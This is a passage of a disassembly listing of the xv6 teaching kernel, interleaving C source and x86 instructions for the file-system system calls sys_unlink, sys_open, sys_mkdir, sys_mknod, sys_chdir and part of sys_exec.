80104cfd: e8 2e cc ff ff call 80101930 <iunlockput>
end_op();
80104d02: e8 d9 de ff ff call 80102be0 <end_op>
return -1;
}
80104d07: 83 c4 3c add $0x3c,%esp
80104d0a: 89 f0 mov %esi,%eax
80104d0c: 5b pop %ebx
80104d0d: 5e pop %esi
80104d0e: 5f pop %edi
80104d0f: 5d pop %ebp
80104d10: c3 ret
80104d11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
}
ilock(ip);
if(ip->type == T_DIR){
iunlockput(ip);
80104d18: 89 1c 24 mov %ebx,(%esp)
80104d1b: e8 10 cc ff ff call 80101930 <iunlockput>
end_op();
80104d20: e8 bb de ff ff call 80102be0 <end_op>
return -1;
80104d25: eb a3 jmp 80104cca <sys_link+0xda>
80104d27: 89 f6 mov %esi,%esi
80104d29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104d30 <sys_unlink>:
}
//PAGEBREAK!
int
sys_unlink(void)
{
80104d30: 55 push %ebp
80104d31: 89 e5 mov %esp,%ebp
80104d33: 57 push %edi
80104d34: 56 push %esi
80104d35: 53 push %ebx
80104d36: 83 ec 6c sub $0x6c,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80104d39: 8d 45 e0 lea -0x20(%ebp),%eax
80104d3c: 89 44 24 04 mov %eax,0x4(%esp)
80104d40: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104d47: e8 94 f9 ff ff call 801046e0 <argstr>
80104d4c: 85 c0 test %eax,%eax
80104d4e: 0f 88 99 01 00 00 js 80104eed <sys_unlink+0x1bd>
return -1;
begin_op();
80104d54: e8 17 de ff ff call 80102b70 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80104d59: 8b 45 e0 mov -0x20(%ebp),%eax
80104d5c: 8d 5d d2 lea -0x2e(%ebp),%ebx
80104d5f: 89 5c 24 04 mov %ebx,0x4(%esp)
80104d63: 89 04 24 mov %eax,(%esp)
80104d66: e8 25 d2 ff ff call 80101f90 <nameiparent>
80104d6b: 85 c0 test %eax,%eax
80104d6d: 89 45 a4 mov %eax,-0x5c(%ebp)
80104d70: 0f 84 4d 01 00 00 je 80104ec3 <sys_unlink+0x193>
end_op();
return -1;
}
ilock(dp);
80104d76: 8b 45 a4 mov -0x5c(%ebp),%eax
80104d79: 89 04 24 mov %eax,(%esp)
80104d7c: e8 1f c9 ff ff call 801016a0 <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80104d81: c7 44 24 04 68 74 10 movl $0x80107468,0x4(%esp)
80104d88: 80
80104d89: 89 1c 24 mov %ebx,(%esp)
80104d8c: e8 6f ce ff ff call 80101c00 <namecmp>
80104d91: 85 c0 test %eax,%eax
80104d93: 0f 84 1f 01 00 00 je 80104eb8 <sys_unlink+0x188>
80104d99: c7 44 24 04 67 74 10 movl $0x80107467,0x4(%esp)
80104da0: 80
80104da1: 89 1c 24 mov %ebx,(%esp)
80104da4: e8 57 ce ff ff call 80101c00 <namecmp>
80104da9: 85 c0 test %eax,%eax
80104dab: 0f 84 07 01 00 00 je 80104eb8 <sys_unlink+0x188>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80104db1: 8d 45 e4 lea -0x1c(%ebp),%eax
80104db4: 89 44 24 08 mov %eax,0x8(%esp)
80104db8: 8b 45 a4 mov -0x5c(%ebp),%eax
80104dbb: 89 5c 24 04 mov %ebx,0x4(%esp)
80104dbf: 89 04 24 mov %eax,(%esp)
80104dc2: e8 69 ce ff ff call 80101c30 <dirlookup>
80104dc7: 85 c0 test %eax,%eax
80104dc9: 89 c6 mov %eax,%esi
80104dcb: 0f 84 e7 00 00 00 je 80104eb8 <sys_unlink+0x188>
goto bad;
ilock(ip);
80104dd1: 89 04 24 mov %eax,(%esp)
80104dd4: e8 c7 c8 ff ff call 801016a0 <ilock>
if(ip->nlink < 1)
80104dd9: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
80104dde: 0f 8e 1f 01 00 00 jle 80104f03 <sys_unlink+0x1d3>
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
80104de4: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80104de9: 74 7d je 80104e68 <sys_unlink+0x138>
iunlockput(ip);
goto bad;
}
memset(&de, 0, sizeof(de));
80104deb: 8d 5d b2 lea -0x4e(%ebp),%ebx
80104dee: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104df5: 00
80104df6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104dfd: 00
80104dfe: 89 1c 24 mov %ebx,(%esp)
80104e01: e8 3a f5 ff ff call 80104340 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104e06: 8b 45 e4 mov -0x1c(%ebp),%eax
80104e09: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104e10: 00
80104e11: 89 5c 24 04 mov %ebx,0x4(%esp)
80104e15: 89 44 24 08 mov %eax,0x8(%esp)
80104e19: 8b 45 a4 mov -0x5c(%ebp),%eax
80104e1c: 89 04 24 mov %eax,(%esp)
80104e1f: e8 8c cc ff ff call 80101ab0 <writei>
80104e24: 83 f8 10 cmp $0x10,%eax
80104e27: 0f 85 e2 00 00 00 jne 80104f0f <sys_unlink+0x1df>
panic("unlink: writei");
if(ip->type == T_DIR){
80104e2d: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80104e32: 0f 84 a0 00 00 00 je 80104ed8 <sys_unlink+0x1a8>
dp->nlink--;
iupdate(dp);
}
iunlockput(dp);
80104e38: 8b 45 a4 mov -0x5c(%ebp),%eax
80104e3b: 89 04 24 mov %eax,(%esp)
80104e3e: e8 ed ca ff ff call 80101930 <iunlockput>
ip->nlink--;
80104e43: 66 83 6e 56 01 subw $0x1,0x56(%esi)
iupdate(ip);
80104e48: 89 34 24 mov %esi,(%esp)
80104e4b: e8 90 c7 ff ff call 801015e0 <iupdate>
iunlockput(ip);
80104e50: 89 34 24 mov %esi,(%esp)
80104e53: e8 d8 ca ff ff call 80101930 <iunlockput>
end_op();
80104e58: e8 83 dd ff ff call 80102be0 <end_op>
return 0;
80104e5d: 31 c0 xor %eax,%eax
bad:
iunlockput(dp);
end_op();
return -1;
}
80104e5f: 83 c4 6c add $0x6c,%esp
80104e62: 5b pop %ebx
80104e63: 5e pop %esi
80104e64: 5f pop %edi
80104e65: 5d pop %ebp
80104e66: c3 ret
80104e67: 90 nop
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80104e68: 83 7e 58 20 cmpl $0x20,0x58(%esi)
80104e6c: 0f 86 79 ff ff ff jbe 80104deb <sys_unlink+0xbb>
80104e72: bb 20 00 00 00 mov $0x20,%ebx
80104e77: 8d 7d c2 lea -0x3e(%ebp),%edi
80104e7a: eb 10 jmp 80104e8c <sys_unlink+0x15c>
80104e7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104e80: 83 c3 10 add $0x10,%ebx
80104e83: 3b 5e 58 cmp 0x58(%esi),%ebx
80104e86: 0f 83 5f ff ff ff jae 80104deb <sys_unlink+0xbb>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104e8c: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104e93: 00
80104e94: 89 5c 24 08 mov %ebx,0x8(%esp)
80104e98: 89 7c 24 04 mov %edi,0x4(%esp)
80104e9c: 89 34 24 mov %esi,(%esp)
80104e9f: e8 dc ca ff ff call 80101980 <readi>
80104ea4: 83 f8 10 cmp $0x10,%eax
80104ea7: 75 4e jne 80104ef7 <sys_unlink+0x1c7>
panic("isdirempty: readi");
if(de.inum != 0)
80104ea9: 66 83 7d c2 00 cmpw $0x0,-0x3e(%ebp)
80104eae: 74 d0 je 80104e80 <sys_unlink+0x150>
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
iunlockput(ip);
80104eb0: 89 34 24 mov %esi,(%esp)
80104eb3: e8 78 ca ff ff call 80101930 <iunlockput>
end_op();
return 0;
bad:
iunlockput(dp);
80104eb8: 8b 45 a4 mov -0x5c(%ebp),%eax
80104ebb: 89 04 24 mov %eax,(%esp)
80104ebe: e8 6d ca ff ff call 80101930 <iunlockput>
end_op();
80104ec3: e8 18 dd ff ff call 80102be0 <end_op>
return -1;
}
80104ec8: 83 c4 6c add $0x6c,%esp
return 0;
bad:
iunlockput(dp);
end_op();
return -1;
80104ecb: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104ed0: 5b pop %ebx
80104ed1: 5e pop %esi
80104ed2: 5f pop %edi
80104ed3: 5d pop %ebp
80104ed4: c3 ret
80104ed5: 8d 76 00 lea 0x0(%esi),%esi
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
if(ip->type == T_DIR){
dp->nlink--;
80104ed8: 8b 45 a4 mov -0x5c(%ebp),%eax
80104edb: 66 83 68 56 01 subw $0x1,0x56(%eax)
iupdate(dp);
80104ee0: 89 04 24 mov %eax,(%esp)
80104ee3: e8 f8 c6 ff ff call 801015e0 <iupdate>
80104ee8: e9 4b ff ff ff jmp 80104e38 <sys_unlink+0x108>
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
return -1;
80104eed: b8 ff ff ff ff mov $0xffffffff,%eax
80104ef2: e9 68 ff ff ff jmp 80104e5f <sys_unlink+0x12f>
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
80104ef7: c7 04 24 98 74 10 80 movl $0x80107498,(%esp)
80104efe: e8 6d b4 ff ff call 80100370 <panic>
if((ip = dirlookup(dp, name, &off)) == 0)
goto bad;
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
80104f03: c7 04 24 86 74 10 80 movl $0x80107486,(%esp)
80104f0a: e8 61 b4 ff ff call 80100370 <panic>
goto bad;
}
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
80104f0f: c7 04 24 aa 74 10 80 movl $0x801074aa,(%esp)
80104f16: e8 55 b4 ff ff call 80100370 <panic>
80104f1b: 90 nop
80104f1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104f20 <sys_open>:
return ip;
}
int
sys_open(void)
{
80104f20: 55 push %ebp
80104f21: 89 e5 mov %esp,%ebp
80104f23: 57 push %edi
80104f24: 56 push %esi
80104f25: 53 push %ebx
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
return -1;
80104f26: bb ff ff ff ff mov $0xffffffff,%ebx
return ip;
}
int
sys_open(void)
{
80104f2b: 83 ec 2c sub $0x2c,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80104f2e: 8d 45 e0 lea -0x20(%ebp),%eax
80104f31: 89 44 24 04 mov %eax,0x4(%esp)
80104f35: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104f3c: e8 9f f7 ff ff call 801046e0 <argstr>
80104f41: 85 c0 test %eax,%eax
80104f43: 0f 88 8c 00 00 00 js 80104fd5 <sys_open+0xb5>
80104f49: 8d 45 e4 lea -0x1c(%ebp),%eax
80104f4c: 89 44 24 04 mov %eax,0x4(%esp)
80104f50: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104f57: e8 e4 f6 ff ff call 80104640 <argint>
80104f5c: 85 c0 test %eax,%eax
80104f5e: 78 75 js 80104fd5 <sys_open+0xb5>
return -1;
begin_op();
80104f60: e8 0b dc ff ff call 80102b70 <begin_op>
if(omode & O_CREATE){
80104f65: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80104f69: 75 75 jne 80104fe0 <sys_open+0xc0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80104f6b: 8b 45 e0 mov -0x20(%ebp),%eax
80104f6e: 89 04 24 mov %eax,(%esp)
80104f71: e8 fa cf ff ff call 80101f70 <namei>
80104f76: 85 c0 test %eax,%eax
80104f78: 89 c7 mov %eax,%edi
80104f7a: 0f 84 8f 00 00 00 je 8010500f <sys_open+0xef>
end_op();
return -1;
}
ilock(ip);
80104f80: 89 04 24 mov %eax,(%esp)
80104f83: e8 18 c7 ff ff call 801016a0 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80104f88: 66 83 7f 50 01 cmpw $0x1,0x50(%edi)
80104f8d: 74 71 je 80105000 <sys_open+0xe0>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80104f8f: e8 cc bd ff ff call 80100d60 <filealloc>
80104f94: 85 c0 test %eax,%eax
80104f96: 89 c6 mov %eax,%esi
80104f98: 0f 84 87 00 00 00 je 80105025 <sys_open+0x105>
80104f9e: e8 fd f7 ff ff call 801047a0 <fdalloc>
80104fa3: 85 c0 test %eax,%eax
80104fa5: 89 c3 mov %eax,%ebx
80104fa7: 78 6f js 80105018 <sys_open+0xf8>
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80104fa9: 89 3c 24 mov %edi,(%esp)
80104fac: e8 cf c7 ff ff call 80101780 <iunlock>
end_op();
80104fb1: e8 2a dc ff ff call 80102be0 <end_op>
f->type = FD_INODE;
80104fb6: c7 06 02 00 00 00 movl $0x2,(%esi)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80104fbc: 8b 45 e4 mov -0x1c(%ebp),%eax
}
iunlock(ip);
end_op();
f->type = FD_INODE;
f->ip = ip;
80104fbf: 89 7e 10 mov %edi,0x10(%esi)
f->off = 0;
80104fc2: c7 46 14 00 00 00 00 movl $0x0,0x14(%esi)
f->readable = !(omode & O_WRONLY);
80104fc9: a8 01 test $0x1,%al
80104fcb: 0f 94 46 08 sete 0x8(%esi)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80104fcf: a8 03 test $0x3,%al
80104fd1: 0f 95 46 09 setne 0x9(%esi)
return fd;
}
80104fd5: 83 c4 2c add $0x2c,%esp
80104fd8: 89 d8 mov %ebx,%eax
80104fda: 5b pop %ebx
80104fdb: 5e pop %esi
80104fdc: 5f pop %edi
80104fdd: 5d pop %ebp
80104fde: c3 ret
80104fdf: 90 nop
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
80104fe0: 8b 45 e0 mov -0x20(%ebp),%eax
80104fe3: 31 c9 xor %ecx,%ecx
80104fe5: ba 02 00 00 00 mov $0x2,%edx
80104fea: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104ff1: e8 ea f7 ff ff call 801047e0 <create>
if(ip == 0){
80104ff6: 85 c0 test %eax,%eax
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
80104ff8: 89 c7 mov %eax,%edi
if(ip == 0){
80104ffa: 75 93 jne 80104f8f <sys_open+0x6f>
80104ffc: eb 11 jmp 8010500f <sys_open+0xef>
80104ffe: 66 90 xchg %ax,%ax
if((ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);
if(ip->type == T_DIR && omode != O_RDONLY){
80105000: 8b 75 e4 mov -0x1c(%ebp),%esi
80105003: 85 f6 test %esi,%esi
80105005: 74 88 je 80104f8f <sys_open+0x6f>
iunlockput(ip);
80105007: 89 3c 24 mov %edi,(%esp)
8010500a: e8 21 c9 ff ff call 80101930 <iunlockput>
end_op();
8010500f: e8 cc db ff ff call 80102be0 <end_op>
return -1;
80105014: eb bf jmp 80104fd5 <sys_open+0xb5>
80105016: 66 90 xchg %ax,%ax
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
80105018: 89 34 24 mov %esi,(%esp)
8010501b: 90 nop
8010501c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105020: e8 fb bd ff ff call 80100e20 <fileclose>
iunlockput(ip);
80105025: 89 3c 24 mov %edi,(%esp)
end_op();
return -1;
80105028: bb ff ff ff ff mov $0xffffffff,%ebx
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
iunlockput(ip);
8010502d: e8 fe c8 ff ff call 80101930 <iunlockput>
end_op();
80105032: e8 a9 db ff ff call 80102be0 <end_op>
return -1;
80105037: eb 9c jmp 80104fd5 <sys_open+0xb5>
80105039: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105040 <sys_mkdir>:
return fd;
}
int
sys_mkdir(void)
{
80105040: 55 push %ebp
80105041: 89 e5 mov %esp,%ebp
80105043: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80105046: e8 25 db ff ff call 80102b70 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
8010504b: 8d 45 f4 lea -0xc(%ebp),%eax
8010504e: 89 44 24 04 mov %eax,0x4(%esp)
80105052: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105059: e8 82 f6 ff ff call 801046e0 <argstr>
8010505e: 85 c0 test %eax,%eax
80105060: 78 2e js 80105090 <sys_mkdir+0x50>
80105062: 8b 45 f4 mov -0xc(%ebp),%eax
80105065: 31 c9 xor %ecx,%ecx
80105067: ba 01 00 00 00 mov $0x1,%edx
8010506c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105073: e8 68 f7 ff ff call 801047e0 <create>
80105078: 85 c0 test %eax,%eax
8010507a: 74 14 je 80105090 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
8010507c: 89 04 24 mov %eax,(%esp)
8010507f: e8 ac c8 ff ff call 80101930 <iunlockput>
end_op();
80105084: e8 57 db ff ff call 80102be0 <end_op>
return 0;
80105089: 31 c0 xor %eax,%eax
}
8010508b: c9 leave
8010508c: c3 ret
8010508d: 8d 76 00 lea 0x0(%esi),%esi
char *path;
struct inode *ip;
begin_op();
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
end_op();
80105090: e8 4b db ff ff call 80102be0 <end_op>
return -1;
80105095: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
8010509a: c9 leave
8010509b: c3 ret
8010509c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801050a0 <sys_mknod>:
int
sys_mknod(void)
{
801050a0: 55 push %ebp
801050a1: 89 e5 mov %esp,%ebp
801050a3: 83 ec 28 sub $0x28,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
801050a6: e8 c5 da ff ff call 80102b70 <begin_op>
if((argstr(0, &path)) < 0 ||
801050ab: 8d 45 ec lea -0x14(%ebp),%eax
801050ae: 89 44 24 04 mov %eax,0x4(%esp)
801050b2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801050b9: e8 22 f6 ff ff call 801046e0 <argstr>
801050be: 85 c0 test %eax,%eax
801050c0: 78 5e js 80105120 <sys_mknod+0x80>
argint(1, &major) < 0 ||
801050c2: 8d 45 f0 lea -0x10(%ebp),%eax
801050c5: 89 44 24 04 mov %eax,0x4(%esp)
801050c9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801050d0: e8 6b f5 ff ff call 80104640 <argint>
struct inode *ip;
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
801050d5: 85 c0 test %eax,%eax
801050d7: 78 47 js 80105120 <sys_mknod+0x80>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801050d9: 8d 45 f4 lea -0xc(%ebp),%eax
801050dc: 89 44 24 04 mov %eax,0x4(%esp)
801050e0: c7 04 24 02 00 00 00 movl $0x2,(%esp)
801050e7: e8 54 f5 ff ff call 80104640 <argint>
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
801050ec: 85 c0 test %eax,%eax
801050ee: 78 30 js 80105120 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
801050f0: 0f bf 45 f4 movswl -0xc(%ebp),%eax
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801050f4: ba 03 00 00 00 mov $0x3,%edx
(ip = create(path, T_DEV, major, minor)) == 0){
801050f9: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
801050fd: 89 04 24 mov %eax,(%esp)
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105100: 8b 45 ec mov -0x14(%ebp),%eax
80105103: e8 d8 f6 ff ff call 801047e0 <create>
80105108: 85 c0 test %eax,%eax
8010510a: 74 14 je 80105120 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
return -1;
}
iunlockput(ip);
8010510c: 89 04 24 mov %eax,(%esp)
8010510f: e8 1c c8 ff ff call 80101930 <iunlockput>
end_op();
80105114: e8 c7 da ff ff call 80102be0 <end_op>
return 0;
80105119: 31 c0 xor %eax,%eax
}
8010511b: c9 leave
8010511c: c3 ret
8010511d: 8d 76 00 lea 0x0(%esi),%esi
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
80105120: e8 bb da ff ff call 80102be0 <end_op>
return -1;
80105125: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
8010512a: c9 leave
8010512b: c3 ret
8010512c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105130 <sys_chdir>:
int
sys_chdir(void)
{
80105130: 55 push %ebp
80105131: 89 e5 mov %esp,%ebp
80105133: 56 push %esi
80105134: 53 push %ebx
80105135: 83 ec 20 sub $0x20,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80105138: e8 f3 e5 ff ff call 80103730 <myproc>
8010513d: 89 c3 mov %eax,%ebx
begin_op();
8010513f: e8 2c da ff ff call 80102b70 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80105144: 8d 45 f4 lea -0xc(%ebp),%eax
80105147: 89 44 24 04 mov %eax,0x4(%esp)
8010514b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105152: e8 89 f5 ff ff call 801046e0 <argstr>
80105157: 85 c0 test %eax,%eax
80105159: 78 4a js 801051a5 <sys_chdir+0x75>
8010515b: 8b 45 f4 mov -0xc(%ebp),%eax
8010515e: 89 04 24 mov %eax,(%esp)
80105161: e8 0a ce ff ff call 80101f70 <namei>
80105166: 85 c0 test %eax,%eax
80105168: 89 c6 mov %eax,%esi
8010516a: 74 39 je 801051a5 <sys_chdir+0x75>
end_op();
return -1;
}
ilock(ip);
8010516c: 89 04 24 mov %eax,(%esp)
8010516f: e8 2c c5 ff ff call 801016a0 <ilock>
if(ip->type != T_DIR){
80105174: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
iunlockput(ip);
80105179: 89 34 24 mov %esi,(%esp)
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);
if(ip->type != T_DIR){
8010517c: 75 22 jne 801051a0 <sys_chdir+0x70>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
8010517e: e8 fd c5 ff ff call 80101780 <iunlock>
iput(curproc->cwd);
80105183: 8b 43 68 mov 0x68(%ebx),%eax
80105186: 89 04 24 mov %eax,(%esp)
80105189: e8 42 c6 ff ff call 801017d0 <iput>
end_op();
8010518e: e8 4d da ff ff call 80102be0 <end_op>
curproc->cwd = ip;
return 0;
80105193: 31 c0 xor %eax,%eax
return -1;
}
iunlock(ip);
iput(curproc->cwd);
end_op();
curproc->cwd = ip;
80105195: 89 73 68 mov %esi,0x68(%ebx)
return 0;
}
80105198: 83 c4 20 add $0x20,%esp
8010519b: 5b pop %ebx
8010519c: 5e pop %esi
8010519d: 5d pop %ebp
8010519e: c3 ret
8010519f: 90 nop
end_op();
return -1;
}
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
801051a0: e8 8b c7 ff ff call 80101930 <iunlockput>
end_op();
801051a5: e8 36 da ff ff call 80102be0 <end_op>
iunlock(ip);
iput(curproc->cwd);
end_op();
curproc->cwd = ip;
return 0;
}
801051aa: 83 c4 20 add $0x20,%esp
}
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
end_op();
return -1;
801051ad: b8 ff ff ff ff mov $0xffffffff,%eax
iunlock(ip);
iput(curproc->cwd);
end_op();
curproc->cwd = ip;
return 0;
}
801051b2: 5b pop %ebx
801051b3: 5e pop %esi
801051b4: 5d pop %ebp
801051b5: c3 ret
801051b6: 8d 76 00 lea 0x0(%esi),%esi
801051b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801051c0 <sys_exec>:
int
sys_exec(void)
{
801051c0: 55 push %ebp
801051c1: 89 e5 mov %esp,%ebp
801051c3: 57 push %edi
801051c4: 56 push %esi
801051c5: 53 push %ebx
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
801051c6: bb ff ff ff ff mov $0xffffffff,%ebx
return 0;
}
int
sys_exec(void)
{
801051cb: 81 ec ac 00 00 00 sub $0xac,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801051d1: 8d 45 dc lea -0x24(%ebp),%eax
801051d4: 89 44 24 04 mov %eax,0x4(%esp)
801051d8: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801051df: e8 fc f4 ff ff call 801046e0 <argstr>
801051e4: 85 c0 test %eax,%eax
801051e6: 0f 88 82 00 00 00 js 8010526e <sys_exec+0xae>
801051ec: 8d 45 e0 lea -0x20(%ebp),%eax
801051ef: 89 44 24 04 mov %eax,0x4(%esp)
801051f3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801051fa: e8 41 f4 ff ff call 80104640 <argint>
801051ff: 85 c0 test %eax,%eax
80105201: 78 6b js 8010526e <sys_exec+0xae>
return -1;
}
memset(argv, 0, sizeof(argv));
80105203: 8d bd 5c ff ff ff lea -0xa4(%ebp),%edi
for(i=0;; i++){
if(i >= NELEM(argv))
80105209: 31 f6 xor %esi,%esi
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
8010520b: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80105212: 00
for(i=0;; i++){
80105213: 31 db xor %ebx,%ebx
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
80105215: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010521c: 00
8010521d: 89 3c 24 mov %edi,(%esp)
80105220: e8 1b f1 ff ff call 80104340 <memset>
80105225: 8d 76 00 lea 0x0(%esi),%esi
for(i=0;; i++){
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80105228: 8d 45 e4 lea -0x1c(%ebp),%eax
8010522b: 89 44 24 04 mov %eax,0x4(%esp)
curproc->cwd = ip;
return 0;
}
int
sys_exec(void)
8010522f: 8d 04 9d 00 00 00 00 lea 0x0(,%ebx,4),%eax
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80105236: 03 45 e0 add -0x20(%ebp),%eax
80105239: 89 04 24 mov %eax,(%esp)
8010523c: e8 6f f3 ff ff call 801045b0 <fetchint>
80105241: 85 c0 test %eax,%eax
80105243: 78 24 js 80105269 <sys_exec+0xa9>
return -1;
if(uarg == 0){
80105245: 8b 45 e4 mov -0x1c(%ebp),%eax
80105248: 85 c0 test %eax,%eax
8010524a: 74 34 je 80105280 <sys_exec+0xc0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
8010524c: 8d 14 b7 lea (%edi,%esi,4),%edx
8010524f: 89 54 24 04 mov %edx,0x4(%esp)
80105253: 89 04 24 mov %eax,(%esp)
80105256: e8 85 f3 ff ff call 801045e0 <fetchstr>
8010525b: 85 c0 test %eax,%eax
8010525d: 78 0a js 80105269 <sys_exec+0xa9>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
8010525f: 83 c3 01 add $0x1,%ebx
if(i >= NELEM(argv))
80105262: 83 fb 20 cmp $0x20,%ebx
80105265: 89 de mov %ebx,%esi
80105267: 75 bf jne 80105228 <sys_exec+0x68>
if(uarg == 0){
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
80105269: bb ff ff ff ff mov $0xffffffff,%ebx
}
return exec(path, argv);
}
8010526e: 81 c4 ac 00 00 00 add $0xac,%esp
80105274: 89 d8 mov %ebx,%eax
80105276: 5b pop %ebx
80105277: 5e pop %esi
80105278: 5f pop %edi
80105279: 5d pop %ebp
8010527a: c3 ret
8010527b: 90 nop
8010527c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
